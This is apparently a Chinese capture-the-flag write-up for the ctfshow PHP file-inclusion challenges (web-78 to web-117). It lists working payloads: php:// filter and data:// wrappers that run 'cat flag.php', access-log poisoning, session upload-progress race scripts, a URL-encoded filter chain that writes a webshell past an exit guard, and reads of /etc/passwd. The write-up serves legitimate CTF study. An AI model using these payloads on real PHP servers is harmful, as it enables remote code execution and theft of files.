ctfshow文件包含系列
web-78
源码
1 | if(isset($_GET['file'])){ |
可直接使用php伪协议读取源码
payload :
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
web-79
1 | if(isset($_GET['file'])){ |
过滤了php,可以使用data伪协议
payload
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
web-80
源码
1 |
|
payload
1 | ?file=Php://input |
web-81
源码
1 | if(isset($_GET['file'])){ |
过滤了冒号,伪协议不能使用,考虑使用日志包含进行getshell
1 | ?file=/var/log/nginx/access.log |
web-82
利用session.upload_progress进行文件包含利用
1 |
|
参考文章
https://www.freebuf.com/vuls/202819.html
问题一
代码里没有session_start()
,如何创建session文件呢。
解答一
其实,如果session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
默认路径
1 | /var/lib/php/sess_PHPSESSID |
问题二
但是问题来了,默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,
如何进行rce呢?
解答二
此时我们可以利用竞争,在session文件内容清空前进行包含利用。
解题
首先构造一个上传界面
1 |
|
访问抓包,构造payload进行循环上传
然后浏览器包含/tmp/sess_test2,一直访问有几率包含成功
得到flag文件为fl0g.php
同样的道理更换payload即可
python脚本
1 | import requests |
web-83
源码
1 | session_unset(); |
原理同上
exp
1 | import requests |
web-84
源码
1 | if(isset($_GET['file'])){ |
删除了tmp目录下的文件,但是好像线程够快,任然可以访问到
1 | import requests |
web-85
源码
1 | if(isset($_GET['file'])){ |
线程快一点,依旧可以爆破出来
web-86
1 | define('还要秀?', dirname(__FILE__)); |
同上
web-87
1 | if(isset($_GET['file'])){ |
这里可以通过url编码来绕过:的过滤,从而使得我们可以使用php伪协议
原文中phpexit
一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个1
一共8个字符。这样,”phpexit1”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>
没有了。
这题是phpdie所以我们要增加两个1
POC
1 | POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1 |
web-88
1 | if(isset($_GET['file'])){ |
未过滤冒号,可使用data伪协议
1 | /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOyAg |
可在payload后添加空格使得base64编码之后没有等号
web-116
题目为文件包含
访问file=/etc/passwd
,ctrl+s保存后右键打开变为/etc/passwd文件中的内容
访问?file=/var/www/html/flag.php
即可得到flag
web-117
源码
1 | highlight_file(__FILE__); |
用其他的编码器即可绕过
1 |
|
payload:
1 | ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php |